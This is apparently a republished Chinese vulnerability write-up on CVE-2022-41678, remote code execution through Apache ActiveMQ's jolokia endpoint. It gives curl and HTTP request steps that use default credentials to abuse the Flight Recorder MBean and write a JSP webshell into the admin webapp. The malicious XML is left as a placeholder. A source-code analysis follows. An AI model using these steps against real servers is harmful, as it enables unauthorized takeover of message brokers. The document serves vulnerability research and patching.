漏洞说明
漏洞编号:CVE-2022-41678
漏洞描述:Apache ActiveMQ是最流行的开源、多协议、基于 Java 的消息代理。它支持行业标准协议,用户可以从多种语言和平台的客户端使用AMQP协议集成多平台应用程序。Apache ActiveMQ管理控制界面存在jolokia 端点,若未修改账号密码,则攻击者可构造调用jolokia相关功能造成远程代码执行。官方已发布安全更新,建议升级至最新版本。
漏洞影响范围:
•Apache ActiveMQ < 5.16.6
•Apache ActiveMQ 5.17.0 < 5.17.4
漏洞利用分为五步:
•创建Record
curl -XGET --user admin:admin --header "Origin: http://localhost" http://127.0.0.1:8161/api/jolokia/exec/jdk.management.jfr:type=FlightRecorder/newRecording/
// 返回值中"value"值为该Record ID,后续利用需要
POST /api/jolokia HTTP/1.1host: 127.0.0.1:8161Origin: http://127.0.0.1:8161/* Basic Auth 信息 */{ "type":"EXEC", "mbean":"jdk.management.jfr:type=FlightRecorder", "operation":"setConfiguration", "arguments":[1,"恶意XML"]}// 此处的1就是前面创建Record得到的Record ID
curl -XGET --user admin:admin --header "Origin: http://localhost" http://127.0.0.1:8161/api/jolokia/exec/jdk.management.jfr:type=FlightRecorder/startRecording/1
curl -XGET --user admin:admin --header "Origin: http://localhost" http://127.0.0.1:8161/api/jolokia/exec/jdk.management.jfr:type=FlightRecorder/stopRecording/1
POST /api/jolokia HTTP/1.1
host: 127.0.0.1:8161
Origin: http://127.0.0.1:8161
/* Basic Auth 信息 */
{
"type":"EXEC",
"mbean":"jdk.management.jfr:type=FlightRecorder",
"operation":"copyTo",
"arguments":[1,"../webapps/admin/msfcode.jsp"]
}
// 此处的1就是前面创建Record得到的Record ID
漏洞分析
<servlet-mapping>
<servlet-name>jolokia-agent</servlet-name>
<url-pattern>/jolokia/*</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>jolokia-agent</servlet-name>
<servlet-class>org.jolokia.http.AgentServlet</servlet-class>
<!-- Uncomment this if you want jolokia multicast discovery to be enabled
<init-param>
<param-name>discoveryEnabled</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>discoveryAgentUrl</param-name>
<param-value>http://${host}:8161/api/jolokia</param-value>
</init-param>
<init-param>
<param-name>agentDescription</param-name>
<param-value>Apache ActiveMQ</param-value>
</init-param>
-->
<!-- turn off returning exceptions and stacktraces from jolokia -->
<init-param>
<param-name>allowErrorDetails</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
与漏洞描述结合可知此处的jdk.management.jfr:type=FlightRecorder就是漏洞利用的关键,通过jconsole得到对应类信息
synchronized void start(PlatformRecording recording) {
// State can only be NEW or DELAYED because of previous checks
Instant now = Instant.now();
recording.setStartTime(now);
recording.updateTimer();
Duration duration = recording.getDuration();
if (duration != null) {
recording.setStopTime(now.plus(duration));
}
boolean toDisk = recording.isToDisk();
boolean beginPhysical = true;
for (PlatformRecording s : getRecordings()) {
if (s.getState() == RecordingState.RUNNING) {
beginPhysical = false;
if (s.isToDisk()) {
toDisk = true;
}
}
}
if (beginPhysical) {
RepositoryChunk newChunk = null;
if (toDisk) {
newChunk = repository.newChunk(now);
MetadataRepository.getInstance().setOutput(newChunk.getUnfishedFile().toString());
} else {
MetadataRepository.getInstance().setOutput(null);
}
currentChunk = newChunk;
jvm.beginRecording_();
recording.setState(RecordingState.RUNNING);
updateSettings();
writeMetaEvents();
} else {
RepositoryChunk newChunk = null;
if (toDisk) {
newChunk = repository.newChunk(now);
RequestEngine.doChunkEnd();
MetadataRepository.getInstance().setOutput(newChunk.getUnfishedFile().toString());
}
recording.setState(RecordingState.RUNNING);
updateSettings();
writeMetaEvents();
if (currentChunk != null) {
// 此处调用该方法将currentChunk添加到jdk.jfr.internal.PlatformRecording#chunks中
finishChunk(currentChunk, now, recording);
}
currentChunk = newChunk;
}
RequestEngine.doChunkBegin();
}
private void finishChunk(RepositoryChunk chunk, Instant time, PlatformRecording ignoreMe) {
chunk.finish(time);
for (PlatformRecording r : getRecordings()) {
if (r != ignoreMe && r.getState() == RecordingState.RUNNING) {
r.appendChunk(chunk);
}
}
}
void appendChunk(RepositoryChunk chunk) {
if (!chunk.isFinished()) {
throw new Error("not finished chunk " + chunk.getStartTime());
}
synchronized (recorder) {
if (!toDisk) {
return;
}
if (maxAge != null) {
trimToAge(chunk.getEndTime().minus(maxAge));
}
chunks.addLast(chunk);
added(chunk);
trimToSize();
}
}
原文始发于微信公众号(安全之道):Apache ActiveMQ jolokia远程代码执行漏洞(CVE-2022-41678)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论